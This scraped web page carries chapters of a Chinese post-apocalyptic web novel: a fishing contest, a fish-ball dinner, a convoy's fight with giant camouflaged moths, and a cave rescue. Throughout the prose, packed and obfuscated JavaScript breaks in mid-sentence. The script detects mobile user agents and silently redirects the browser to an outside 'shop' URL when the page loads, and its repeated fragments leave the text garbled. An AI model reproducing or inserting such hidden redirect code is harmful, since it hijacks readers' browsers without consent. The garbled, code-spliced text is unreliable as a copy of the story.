p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12851331|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃什么吗?” 银狼莫名对捕鱼这件事有几分熟稔,一行人到了岸边正商量着怎么弄个网,忽听身边“嗖”的一声,一截长棍入水,不偏不倚扎透了一条游动的草鱼。 银狼拿过陈不苟手里的桶,装了点水把鱼扔进去。林洗练看得眼都直了,转头对着李明岐喊,“教练我想学那个!” “学什么学。”李明岐四处看看,捡了两块石头塞给林洗练,一本正经道:“小木棍叉鱼的效率多低,师父教你石头炸鱼,看见这沙包大的石头没,一块砸下去鱼准晕。” “那不如你们比赛吧。”丁瀛随口道,“训练那么久了,也实战考核一下,师徒一起上,看哪组抓的鱼多呗。” “这不好吧。”李明岐一脸谦虚,“比赛多伤和气,大家开开心心来抓鱼,和和气气回去聚餐多好……“ 丁瀛:“我出五十压银狼组赢。” 陈一斯:“跟五十,压队长。” 周锐:“一百,银狼。” 李明岐:“……” 这就是赤裸裸的嘲笑了,林洗练咬牙,“嘿我这该死的胜负欲。”说完一把扯过李明岐,转头就往前走。 “不是,干啥啊?”李明岐被拽得一个趔趄。 “走去上游抓,一条鱼都不给他们留!” 李教官的石头炸鱼大法讲究的就是一个玄学,除非是遇到鱼靠近水面透气,否则他们扔石头扔得把河填上了都不一定能砸中一条。 最后两人干脆捡了一堆小石块,林洗练教李明岐打水漂玩。 “唉,你之前不是跟我说有空给我讲故事吗?”林洗练一颗石子抛出去,跳了两三下沉入水中。 李明岐:“这你倒是记得清。” 林洗练:“好师父不骗赖徒弟,这样吧,你扔石头要是跳得比我远,我就不问了。” 李明岐斜她一眼,“跟丁瀛学会了?动不动就竞技精神,又没说不给你讲。” 一颗石子扔出去,果然没有林洗练远。 “总是逮着我问,你说你是对银狼有兴趣呢,还是对我有兴趣?”李明岐似笑非笑。 林洗练不想扯皮,“你就说你俩咋认识的吧。” “简单啊,他之前救过我。” “哦?什么时候?” “三年前吧,他执行任务途中,那会儿我还在学校。” “扯,陈一斯说他们队伍的指挥中心在第一庇护城,你不是在第四庇护城上学吗,这也能救着你?” “三年前第四庇护城发生了什么,你不会不知道吧?” 林洗练愣了一下,想起游戏文案上写的“第四庇护城大入侵事件”,这个地方三年前曾差点被变异尸潮攻破,当时第一庇护城调了大批兵力来支援。 “我所在的第四国防学院离侵入口很近,灾难发生后很多人都被困在了学校,当时变异生物横行,如果不是银狼他们小队,我怕是没有今天和你蹲在一起扔石子的运气了。” 怪不得李明岐巴巴地找来装配店,见到了银狼又没有其他动作,大概只是想确认救命恩人安全与否吧。 李明岐:“我们的确不太熟悉,我知道他在第四庇护城外活动,但是很少真正碰到他,道上的人传他神龙摆尾,跟人组队多半有自己的目的。” “不过也没什么,在集市上讨生活的,谁没有点目的,谁没有点过去。” “我说了这么多,你不应该也坦诚一点吗?”李明岐忽然转过头把话题抛给林洗练。 “陈一斯说你是她两多个月前招聘来的员工,连周锐都查不到你的底细,你就像忽然从集市上冒出来一样,不会是什么组织的间谍吧?” “你才间谍。”林洗练回嘴,“我要是间谍还用拼死拼活跑到野外当向导赚钱?公费当个小店员不香吗?” “那你是从哪来的。” 林洗练想了想,委婉道:“外面来的。” 外面,雅东之外,有罗西,有海北,三大地区之外,还有各种“占山为王”的集团组织。 也许是佣兵占领的蕞尔小国,也许是私人武装管控的村落,也许是幸存者组成的小社区,还有许多以家庭为单位的小团体…… 末日之下,不是每个人类都有幸抵达庇护城,三大地区的救援行动从未停止。 “自己跑出来的吗?”李明岐问。 “算是,走失吧。” “还想回去吗?” “没可能了。”林洗练笑笑。 “也就不想了。” 16. 不道德拉扯 比赛结果显而易见,银狼他们组抓鱼第一,林洗练他们组摸鱼第一。 陈一斯满脸沉痛,“队长抓鱼这么熟练,该不会退役后改行当鱼贩子了吧?” 丁瀛收齐了“赌资”,一股脑塞给银狼,“以资鼓励以资鼓励。” 大佬明显对俗物不在意,随手给了陈不苟,后者高高兴兴说还没出发呢就先赚了一笔,好兆头! 这河里鱼不多,银狼他们抓了三条,林洗练和李明岐砸晕一条,周锐和陈一斯拿破箩筐侥幸网住一条,加起来也就五条,都是偏小的体型。 林洗练掰着指头算了算,觉得要不就做鱼丸锅。 回程时众人顺路去菜场给抓来的鱼进行除污,九号装配店没有除污设备,那玩意儿贵,陈一斯暂时还没有相关预算,毕竟买了机器也不是一劳永逸,每次除污都是收费的,账户充值,自动扣款。 找了个热心摊主帮忙,当然也支付了相应的除污费用,等鱼的时候林洗练忽然在摊主的篮子里看到了两枚鸡蛋,顿时眼里放光。 “你好,鸡蛋怎么卖?” 摊主愣了一下,那两枚鸡蛋并不是他的商品,而是他在菜场买的,打算拿回去送朋友。 “真不好意思啊,这两个鸡蛋我打算带回去送人的,要不你看看别的,我这还有小青菜。” 野菜店里还有,他们都要去野外了,这会儿肯定没必要再囤菜。林洗练恋恋不舍地看着鸡蛋,心说没有蛋清的话,鱼茸太散可没口感。 银狼看出林洗练失望,“想要?” “做鱼丸的话,加鸡蛋会更好吃。”林洗练满脸遗憾。 银狼点点头,手腕翻了一下不知道从哪抽出几张纸币,径自走向摊主。 “五十,买你两个鸡蛋。” 摊主愣了一下,他这两个鸡蛋是以物易物换来的,这要是卖了,他倒赚五十啊。 “我这……是要送我朋友的……”摊主挣扎。 “一百。” “……特好的朋友,他今天就想吃鸡蛋。” “八十。” “刚刚不还一百吗?!” “成交。” 银狼将纸币放在摊子上,两枚鸡蛋递给的林洗练。 陈不苟本来乐呵呵地看大佬砍价,忽然觉得不对劲。 “这不是我们抓鱼赢的钱……教练你什么时候从我兜里抽走的?” 做鱼丸用不到那么多人,就一个有技术的,再加一个有力气的就行了。于是后屋只有林洗练和银狼忙活,其他人都在前面帮着收拾明日出发要带的装备。 周锐去木山杨了,今晚那边也是送行聚餐,李明岐倒是留了下来,理由是林洗练做的鱼汤肯定比肉汁拌罐罐好吃。 杀鱼工作银狼做得意外顺手,林洗练看着他娴熟地刮鱼鳞,脑洞有点向陈一斯看齐,“不会真让老板说对了吧,你退役之后去真卖鱼了。” 不过看这架势,比起卖鱼更像是经常做鱼,“你很喜欢吃鱼吗?或许失忆前经常在野外抓鱼给自己加餐?” “不清楚。”银狼利落地取出鱼内藏,“感觉并不讨厌。” 开鱼身,剁鱼骨,去血水,大开大合的工序完成后,就轮到林洗练干精细活了。 先用刀背敲松鱼肉,再一刀刀刮下来,银狼试了试觉得不难,索性也全包揽了,林洗练便退居二线在一旁洗菜。 外面陈一斯正在跟丁瀛交代看店事项,絮絮叨叨事无巨细。林洗练边听边笑,想起之前陈一斯走的时候,也是这样交代她和陈不苟。 “我看只有你留下看店,老板才能放心。” 银狼仔细地刮鱼茸,也仔细地听林洗练讲话,“为什么?” “你厉害呗。” “李明岐不厉害?” “唔,也厉害。” “所以你找他当你的教练。” “嗯……对,国防生嘛。” 银狼停了一下,将刮下的鱼茸甩进碗里,调整了握刀姿势继续。 “虽然我失忆了,但你们都说拾荒一行我很出名。” 这些天周锐讲过一些道上的传闻,说银狼跟人组队的次数不多,但经常在对战变异生物时力挽狂澜。 曾经有个小队被尸潮围困,是银狼强制占了指挥的位置,调整战术,带着幸存的几个队员杀出重围。 原队长虽然不满自己被搏了面子,但也承他的救命之恩,很想邀他加入帮派,不过还没回到集市,银狼便离队不知所踪。 银狼:“陈一斯也说,之前在官方,我们小队执行过很多危险任务。” 这个林洗练知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872118|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,丁瀛现在天天缠着陈老板讲故事,什么捣毁违规实验厂,解救灾区民众,清剿变异生物……陈一斯三言两语说得含含糊糊,但听起来已经足够惊心动魄。 “之前和李明岐的实战对抗,我也算是……”银狼顿了顿,想说自己赢了来着,又想起李明岐最后那招反击,最终还是委婉了些,“占上风。” “什么占上风,你就是赢了。”林洗练倒是干脆,“李明岐那小子玩赖,可不能跟他学。” 话说到这,银狼却忽然没了音,好看的唇形微微一抿,手里的刀快出残影,仿佛跟案板上那条鱼有什么深仇大恨。 林洗练微扬了下眉。 她当然听得出银狼的意思,你看这世界上的事竟是这样巧,她救了他,收留他,两人磕磕绊绊生出丝丝缕缕的交集和往来,关系隐约向着世俗最爱摆弄的陷阱坠落。 暧昧?不到那个程度。 好感?盘旋肆意生长。 林洗练关了水,双手一抖,湿润的菜叶尖角落下细碎水珠。 与一个失忆者玩这种周旋游戏似乎不太道德。 可是, 这混蛋的末日世界她难得有兴趣。 五条鱼很快就积攒了小半盆鱼茸,林洗练从银狼手里接过,往盆里加了鸡蛋清和淀粉开始搅打。 “唉对了,今天李明岐跟我说,你是他救命恩人来着。” 林洗练换了话题,一边捏鱼丸一边转述下午她和李明岐的聊天内容,又想起之前因为“引狼入室”的猜想她跟银狼还吵了两句。 “所以你就没必要那么防着他了,李明岐八成是来报恩的,他说了,你当时救他他连句谢谢都来不及说,后来你出现在卫星集市,但总是神出鬼没的,他也没机会跟你有交集。” 银狼没说话,半晌才闷闷地“嗯”了一声。林洗练已经习惯了他时不时的沉默寡言,大概失忆的人总会对脑海中的空白无所适从。 “我说这些,也不是想给你增加负担。”林洗练道:“不记得没关系,人生这么长,末日这么难挨,比起稍不留神就要丧命,失忆真的是很小很小的一个问题。” 她声音很慢,像说给银狼,又像是安慰自己。 “过去很重要,但也不是那么重要,就往前走吧,大家都不是孤身一人了。” 17. 【规则疗养院】巨蛾 太阳斜下地平线的时候,鱼丸终于出锅了。热油煎过的鱼骨炖出奶白的汤汁,鱼丸漂浮在汤面上,再烫一把小野菜,几个人一人抢了一碗配着罐罐一起吃。 温暖的鱼汤下肚,满足得陈一斯晚上睡觉都觉得安逸,虽然马上要面对野外光怪陆离的危险,但日子似乎也不是那么难过。 她有亲人在身边,结交了新朋友,还找到了队长。 一切都在慢慢好起来。 第二天木山杨的队伍来的很早,李明岐一脚刹车,降下车窗,冲几人吹了个口哨,“上车。” 林洗练看了看,除了钟情和李明岐,木山杨还来了另外五个人,前后三辆车,都是上了装甲装全副武装。 陈一斯还是不放心地跟丁瀛多交代几句:“要是无聊你就关了店出去转转,记得一定锁门啊,有事可以去丽舍酒吧找周老板……” 陈不苟愣了一下,“周老板不和我们一起去吗?” 这段时间他看周锐马上忙下的,还以为是内定队员。 周锐今天也来送行,那身偏中性的繁复打扮看着就不像要去打野的,他抱着手臂笑笑,目光移向钟情,“想要请我去野外,木山杨可要给双倍酬金。” 毕竟是生意人,不靠在野外玩命赚钱。 “行。”钟情也跟着不正经,“让他们这趟出去努力赚够你的出山费。” 显然这种程度的野外任务犯不上帮派老大亲自出马,这次带队的是一个姓申的男人,很有亲和力,大家管他叫申队。 林洗练指的那条小道的确偏僻,车队行过残垣断壁的旧都市,滚滚烟尘吹得寥落,街边横七竖八停着的报废汽车定格了灾难爆发时的慌乱,仿佛能看见人类当年四散逃亡的情形。 车队七拐八拐开进一片丛林,车轮下的沥青路面变成了黄土。 林洗练正看着地图,忽然听见后车有人高喊,回头看,一个寸头从副驾驶坐伸出半个胳膊和脑袋。 “欸,前面那向导,这能开过去吗?都是草丛,别到前面没路了,我们还得绕回来。” 开车的李明岐从后视镜看了一眼,“啧”了一声,“那是老莫,别管,不用理他。” 老莫见前车没动静,不满地又往外探了探身子,机枪习惯性地甩到肩上,“怎么回事啊,李明岐从哪请的向导,靠不靠谱?” 开车的申队皱了皱眉,“老莫。” 后面皮卡车斗里站起一名队员,皮筋随手扎了头发,腾出手拿下肩膀夹着的电子设备,柳眉一竖,“老莫,你又犯什么病,安生点。” 头车终于有了动静,是李明岐降下车窗比了个不太友好的手势,笑侃道,“放心吧老莫,前面要是有危险,我们这辆车先顶着呢,你不用那么害怕。” “害怕个屁!”老莫“呸”了一声,“有脏东西老子第一个崩了它。” 申队调了总控,副驾驶的车窗上升,老莫话还没放完被卡了一下,看了看队长的脸色不甘不愿坐回来。 “我就怕那向导骗我们,瞎带路。” 申队:“人是周老板看过的,你比他还专业?” 老莫摸了摸脑袋,咧嘴,“那不能。” 车队跑了三个小时,差不多靠近了林洗练说的变异生物出没区。陈一斯看着手里地图上的红标,给李明岐打手势让他减速。 “变异生物通常五感敏锐,我们能不惊动他们就尽量不惊动,悄悄穿过去。” 车队行进速度变慢,老莫有些不耐烦,拿起对讲机呼李明岐,“你开车呢还是绣花呢?磨磨唧唧。” 申队让老莫闭嘴,叮嘱李明岐注意周围情况,“那些飞蛾擅长伪装,要仔细分辨。” “那向导不是说‘巨蛾’吗?”老莫嗤之以鼻,“要是那么大还看不到,得是眼睛出毛病了吧。” 林洗练听着对讲机里的阴阳怪气,看了李明岐一眼,“你不是木山杨的金牌打手吗?就这万人嫌的待遇?” “什么万人嫌?”李明岐不赞同,“也就是老莫,老跟我抬杠,别理他就是了,他嘴毒。” “唉,你们看。”陈不苟忽然挥手示意众人,半个屁股都离了座位,趴在副驾台上,“前面那棵树……我怎么感觉它要起飞啊?” 林洗练视线扫了好久才锁定陈不苟口中的树,好像是有些不对劲,总感觉那一大片绿色,在微微颤抖。 “是我眼球震颤还是……” “卧槽!那是巨蛾的翅膀!快绕开!” 李明岐一脚刹车拐了个弯,飘移的摩擦声惊扰了那只栖在树上的巨型飞蛾,比人类臂展还宽的翅膀霎时呼扇起来,树梢的叶子被卷落一半。 这种巨蛾的翅膀布满细小的鳞片,平时通过自主控制鳞片的对光方向来实现反□□色的变化,遇到危机时,甚至能短时间内改变自身的色素来与环境融为一体实现伪装。 陈不苟是学美术的,如果不是他对颜色比普通人更敏感,在这丛林里想辨认出那只树叶纹理的蛾子几乎不可能。 四周树丛内飞出四五只颜色花纹各有细微差别的巨蛾,挥着翅膀向车队撞来时有一种遮天蔽日的压迫感。 好在他们听了林洗练的“攻略”早有准备,几个队员抄起喷火枪向天空射出高温烈焰,火苗卷着巨蛾的翅膀燃烧起来,让它们一下失了飞行平衡。 一只巨蛾猛地落在皮卡车车头,竟发出了金属般的撞击声,仔细看它的胸足都已异化,变得坚硬锋利,如果不是皮卡车外加了一层装甲,只怕那胸足能直刺入车身。 车斗里的几个队员纷纷跳车,喷火器齐发上阵。 巨蛾在烈焰中挥舞着前足进攻,银狼甩出臂刃削掉了它一对足,那泛着冷光的尖端落在地上,若是刺中猎物,恐怕下一刻就会撕得粉碎。 还好这片丛林里只有眼前这几只,一通乱烧之后,蛾子纷纷坠地,焦黑残损的翅膀跟着躯干挣扎颤动,被李明岐挥着电锯刃斩成几节。 有一只巨蛾被烧得不太狠,但也没了生气,敛着翅膀歪在一边。李明岐正准备“斩草除根”,老莫忽然跳了出来,让他等一下。 “这蛾子的翅膀肯定值钱,这只没被烧坏太多,切下来带回去卖了吧。” 陈不苟不理解,“这翅膀有什么好卖的?就因为颜色好看?” “有研究价值。”林洗练道,“病毒像个潘多拉魔盒,赋予大自然太多进化的先机,这蛾子的翅膀颜色这么多变,说不定是研究隐形材料的好样本。” “还是人家向导懂。”老莫点头,“黑市上很多大公司收变异生物组织,这蛾子少见,肯定能卖个好价钱。” “还是别贪这一点了。”林洗练泼冷水,“喷火枪再烧一下,别靠太近,说不准这只是装死,解决掉就赶紧走,剪翅膀太浪费时间,万一一会儿更多巨蛾被引来了呢?” 李明岐觉得有道理,拿了喷火枪正准备烧,却被老莫拦住了,“你听她一个丫头片子的是吧?什么装死,这蛾子都成这样了你们还害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897343|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕,怕就别来野外啊?逞什么能?” 申队刚给受了轻伤的队员拿完药,看见老莫不依不饶的样子皱眉,“就你话多?回车上。” “队长,咱这一趟本来就不是淘金,出来就是亏本的,再不抓点东西补贴补贴,以后……” “老莫让开!” “呼——” “林洗练!” “枪,喷火枪!” “太高了!” “砰——砰砰!” 还真被林洗练说对了,那只巨蛾确实是趴在地上装死,就几个人两句话的功夫,亮出前足划伤了一名队员,然后趁乱抓了个猎物冲向天空。 林洗练都怀疑这巨蛾听得懂人话,记恨她刚才要赶尽杀绝,不然这么多人,怎么就偏偏抓她呢? 简直无妄之灾! 蛾子诚心要逃,飞得极快,李明岐的喷火枪射程不够,银狼打出的几枚子弹倒是射中了,可那么大的翅膀,破几个小孔洞算什么。 陈不苟一下就怒了,上前给了老莫一拳,“你听不懂话是吧?让你别贪财,就非惦记那蛾子的翅膀!?” 老莫没防备,被打蒙了一瞬,回过神就想还手,“你个小屁孩跟老子动手!?” 银狼稳稳钳住老莫的手臂,抬高控住,却连个眼神都没给他,而是看向申队,“给我车,我去救人。” 老莫奋力挣扎没有挣脱,一张嘴又想骂脏话,这时车头忽然跳下一名队员打断了他,这人低着头,手指在配置屏幕上快速划动,“无人机追着过去了,巨蛾飞入了西南丛林一带,再远就超过无人机的可控范围了,只能追踪到这。” 老莫:“被那蛾子抓走,怕是凶多吉少吧。” 银狼忽然加重了手上的力道,捏得老莫一下就变了脸色。 “你什么意思?”陈不苟攥了拳头还想打,“凶多吉少就不救了是把?你们木山杨就是这么对待队友的?” 老莫:“你他妈有完没完?我又没说不救,怎么那么会扣帽子?” “巨蛾的攻击方式是胸足刺戳。”银狼声音冰冷,“刚才那只巨蛾抓走林洗练的时候,只是用胸足钳制,并没有伤害她。” 老莫被银狼的眼神震慑,咽了口唾沫,“所,所以呢?” “所以巨蛾刚才也许是一种捕猎行为,而且,抓的很可能是‘储备粮’。” 喜欢吃活物,为了让猎物活得更久保持新鲜,才会在捕捉的时候主动避免伤害。 陈一斯懂了,“是储备粮的话,至少短时间内林洗练应该是安全的。” 她按住陈不苟,转头看着申队,“如果木山杨不愿意救人,我们趁早拆伙,理念不合,强行合作没什么好结果。” 申队在木山杨能当上领头人,肯定是个有本事的,他这一趟带老莫出来主要是看中老莫枪法准,他也知道老莫跟李明岐不对付,平日里嘴上不饶人,出门前已经跟李明岐交代了,少搭理,只是没料到还是闹出这么多事。 “人肯定是要救的,我们木山杨从不背弃战友。”申队坚决道,“琢尔,把无人机的追踪路线发给我,改变车队路线往西南走,到地方了展开搜索。” 其实从琢尔的行动就能看出木山杨的队伍风格。 事发突然,队长没有任何指令,琢尔在林洗练被抓走的下一秒就直接驱动无人机进行追踪,说明以前有类似情况时,队伍都是以人为本,救人重要。 车队重新启程,调转了方向,驶向西南。 18. 【规则疗养院】幼虫 林洗练觉得自己的高空飞行之旅体验感极差。 朦胧间那大扑棱蛾子好像飞入了一个洞穴,她找准时机,忍着头晕目眩将手上的腕带扯断扔了下去,那是木上扬统一配的东西,里面的芯片一定范围之内可以追踪队员位置。 飞蛾滑翔了一段距离,忽然爪子一松给林洗练丢了下去,当场就把她摔晕了。 再醒来时,林洗练感觉自己的视觉有些奇怪,自己好像正被什么人架着腋下往外拖,脑门上有个脑袋正倒吊着看她,两人对视了一眼,同时惊吓地“啊”了一声。 “倒吊人”松手往斜后方撤,林洗练上半身又摔一次。 “嘶——” “你,你醒了?” “倒吊人”是个年轻小伙子,说话比较腼腆,“你被那种大蛾子抓来,摔在了尸体堆里……我觉得你还没死,就想把你拉出来……不是有意冒犯的。” 林洗练朝前看了看,确实是个尸体堆,大多数是动物,也有几个勉强看得出人形,血腥和腐烂的臭味混在一起,激得她有点想吐。 赶紧捂着嘴跑到岩壁边缓缓。 小伙子也一瘸一拐走到墙根下坐着,但奇怪的是他主动与林洗练隔开了很长距离,似乎怕对方误会,主动解释道:“你别多想,我不是防着你啊,是我自己腿上有伤,烂掉了,气味不好,怕吓着你” 这臭烘烘的尸体堆前还有什么气味好不好的?林洗练觉得自己一呼一吸间都快被腌入味了,摇摇头表示自己不介意。 “你叫什么?” “我叫阿飞。” 阿飞说自己是被队友丢在这山洞的,“我们误入了这里,他们有机会逃出去,可我的腿伤了,只会拖累队伍,他们就把我这个累赘给抛下了。” 确实惨,林洗练安慰他,“没关系,我也是跟队出来的,我的队友会来救我的,到时候你就跟着我们出去。” 阿飞神色有些低落,“你就那么相信他们会来吗?” 这明显是记起伤心事了,林洗练想了想,觉得自己大概也不是百分百确定。 如果她是一台冷冰冰的计算机,不搀任何感情色彩地把一些指标量化成数值,她想最急迫来救她的应该是陈不苟。 毕竟两人实打实在集市朝夕相处了两个月,天天吃喝玩乐都在一起,而且陈不苟年轻热血,最是把友情和人命看得珍重的年纪。 陈一斯应该也会来,她是一个很有责任心的人,对自己也颇为照顾。 李明岐不好说,虽然这段时间大家相处愉快,也打趣互称师徒,但队伍行动方面的决定,他大概率还是要听申队的。 再有就是银狼…… 数据不足,无法判断。 林洗练把脚边白骨踢到一旁,眼不见为净,“已经是这么艰难的困境了,给自己点希望,万一呢。” 阿飞轻笑一声。 “这里是那些变异飞蛾的老巢,我们所在的地方是山洞最中间,往左是幼虫和虫茧的孵化地,往左是成虫的栖息地。” “只要进来,就是凶多吉少。” 或许阿飞的队友们也想过再回来救他,只是还没走到一半,就被虫群攻击得不得不撤退。 林洗练脑子里过了一遍地图,她知道那些变异飞蛾的老巢在山洞,当初建模的时候有设置BOSS刷新点,但是山洞中的构造并没有详细设定,更别说什么幼虫和虫茧了。 “你看那边地上。”阿飞伸手一指,“都是幼虫的虫蜕。” 林洗练开了手腕上的强光照过去,不远处地面上确实有几条层叠的套状物,她想起毛毛虫的习性,一生下来就在不停进食,蜕皮长大,为成蛹积蓄能量。 想必眼前的尸体堆就是储备粮吧,看这规模,洞穴前方的幼虫应该不少。 林洗练小心翼翼凑近查看,借着光,她远远瞄到几个虫茧安安静静躺在土里,也不知道它们“破茧成蝶”要多久,要是下一秒就破壳了,首先遭殃的就是她和阿飞。 地上有许多星星点点的粘液,林洗练顺着一路走过去,尸体堆附近最多。她捡了个结实的长树枝扒拉查看,似乎有腐蚀性,那种快干了的都能将树枝末端烧黑。 林洗练皱眉,冷不丁回头瞧了一眼闭目养神的阿飞,心里升起些许异样,正回想,山洞左边忽然传来一种重物摩擦的声音。 “哗啦——哗啦——” 声音越来越近,林洗练下意识往后退,绕开尸体堆离得远远的。 一只蠕动的毛毛虫慢慢从黑暗中现出身形。 它肥胖臃肿,浑身遍布艳丽的花纹和细长的毛刺,那纵横交错的纹路和色彩,从视觉上就给人一种诡异的冲击感。 毛毛虫要进食,洞穴里的储备粮还多,按道理,远离尸体堆应该能暂时保命,可林洗练屏息凝神,不敢有丝毫松懈,刚才的心上异样感此刻更是放大数倍,像警报一样响彻她的大脑。 突然,毛毛虫扬起头部,身上的毛刺变得更加挺立,伴随着一种难以形容的内部消化声,前端的毛刺直愣愣地朝林洗练射出一道黄绿色的粘稠液体。 林洗练的警戒心救了她一命,几乎是同一时间,她侧身狂奔朝另一个方向滑出去几米。毛毛虫的液体喷在了山洞岩壁上,一秒钟就把那一块生长的蕨类植物腐蚀了个干净。 看来这就是变异飞蛾幼虫的攻击方式了。 恶心刺耳的消化声又响了起来,林洗练回头,毛毛虫已经调整好了方向,锋利的口器不断收缩,毒刺偾张,准备发动下一轮攻击。 - 银狼他们进入西南方向的丛林后捕捉到了林洗练腕带芯片的信号,车队紧赶慢赶,停在了一处可疑的洞口前。 留下几个队员做后援,银狼、申队、陈一斯等人全副武装进了山洞。李明岐最先注意到地上的虫蜕,随着队伍行进,山洞内竟然越来越多。 走出几百米,众人视野里出现了大片虫茧。 那些已经成蛹的还好,有些还没结结实的,透过茧层,隐隐约约能看见里面裹着一些其他生物,陈不苟甚至在几个虫茧内看到了人形。 说人形不太准确,也就那模糊的五官轮廓还能看出曾是个人,其他部位都被毛毛虫化蛹时分泌的酶给消化成了一滩浓水。 陈一斯:“怎么都是虫茧?幼虫和成虫呢?” 申队:“或许在洞穴深处,或许是外出觅食。” 这些鳞翅目昆虫受病毒辐射变得如此巨大,显然植物已经不能满足它们的生存需求,除了正在化蛹的,其他幼虫和成虫都需要去外界捕食。 忽然,洞穴深处传来“沙——沙——”的摩擦声,不仅仅是正对他们的方向,地面,岩壁,头顶,似乎都有什么东西正在靠近。 陈一斯将手电筒调成远光,仔细巡过山洞每一个角落。老莫拿架起了枪,光芒掠过一个五彩斑斓的身影那一瞬间,子弹就精准地飞了出去。 “噗”得一声,子弹穿透毛毛虫的身体,带出一道汁液,可那伤口似乎并没有造成太大伤害,反而是激怒了它,身上的毛刺密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913434|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密麻麻地抖动起来。 银狼虽然失忆,但到底是野外任务做得多,对变异生物经验丰富,“避开那些刺,很可能有毒,用大口径武器攻击。” 斑斓的毛毛虫从四面八方袭来,恶心的消化声响彻山洞,毒液“嗤”得一声射出,单单是被溅到就能瞬间烧穿衣物。 银狼抄起□□一枪崩死一个,打得毛毛虫汁液飞溅,他们的□□倒是没有腐蚀性,但那些毛刺下都是一个个分泌毒物的腺体。 队伍边打边进,很快便接近洞穴中央。这边刚解决掉一只毛毛虫的林洗练正在喘息平复,乍听声音还以为后面还有一群,头发差点炸起来。 阿飞听见枪声,先是一愣,随后瞪大了眼撑着瘸腿站起来,“是你的队友吗?” 黑暗中冲出一群和毛毛虫缠斗的人,陈不苟最先看到林洗练,“小林子!你没事啊太好了!” 林洗练:“你看虫,别看我!” 虫子不少,洞穴中央又比较狭窄,几乎是贴身互博。 银狼果断扔了□□,抽出反曲刀,右臂弹出臂刃,转身蹬墙连一个后翻,双刀配合削下毛毛虫的脑袋。 老莫和李明岐也有战略,一个站得远些精准射击,一个趁着毛毛虫因中弹惯性向后仰时挥刀猛砍,刀体释放的高压电直接摧毁生物体内的神经系统。 解决掉最后几只毛毛虫,众人才稍稍松了口气。陈不苟上来就要拱林洗练,“你没死呜呜呜呜真好!” 李明岐绕着林洗练看了一圈,“不错,没缺胳膊少腿的,这只虫子是你自己打死的?挺厉害嘛。” 林洗练被抓得突然,身上就揣了把手枪,还是出发前看着小巧便携随手插在腰间的。她只能跟毛毛虫玩秦王绕柱走,引着对方露出刺少柔软的腹部,找准时机一枪一枪磨BOSS血槽。 一把手枪都能几发子弹?全打完了毛毛虫也没死透,只是在地上蠕动挣扎。林洗练对飞蛾的演技有了心里阴影,秉承斩草除根的优良传统,搬了块大石头把毛毛虫脑袋砸了个稀巴烂。 银狼在一旁擦刀,听着林洗练跟陈不苟交流打怪心得,时不时看过去一眼。 李明岐注意到了缩在墙边的阿飞,指了指问林洗练,“这是谁,你的新队友?” 林洗练不太明显地挑了下眉,并没有肯定“队友”这个称呼,“另一个在飞蛾老巢的幸存者。” “我叫阿飞。”阿飞主动自我介绍,依旧是笑容腼腆,“我被困这里有几天了,还好遇上你们,你们好厉害,我的队友都打不过这群毛毛虫。” 老莫:“那你其他队友呢?” 阿飞笑容一顿,神色暗淡下来,“他们走了,大概是觉得救不了我。” 老莫拍拍他,“没事,你跟着我们走吧。” “没感染吧?”李明岐问道。 “没有。”阿飞摇头,“腿上是摔伤,那群飞蛾抓猎物过来的时候都是直接从半空往下扔。” 陈一斯闻言立马看向林洗练的腿,“你也被扔了?腿没事吧?” 林洗练刚想说没事,阿飞却比她快一步开口,“她比我幸运,摔在了尸体堆里,我把她拖出来了。” “你这运气好。”李明岐拍拍林洗练肩膀,“野外很需要你这样的人才,有时候光厉害是不够的,差那点运气那可能就差一条命。” 洞穴不安全,申队招呼大家赶紧离开。陈不苟离得近,顺势就要去扶阿飞,林洗练一把拉过他,把自己刚才捡的长树枝扔给阿飞,“你自己走,走前面。” 19. 【规则疗养院】虹吸进食 阿飞一愣,下意识朝刚才安慰过他的老莫看去。 老莫虽然嘴毒,但颇有些爱主事的好心和义气在身上,“人家不是伤员吗,扶一把怎么了?” “敢来野外,这点伤应该受得住吧。”林洗练并不退让,“让他自己走。” 陈不苟当然是信林洗练的,当下就松开了手,阿飞踉跄一下,撑着树枝勉强站立。 老莫“啧”了一声,“得得得,你们不扶我扶,人家刚才还把你从尸体堆里拉出来呢,这么快就翻脸不认人。” “老莫。”申队皱眉。 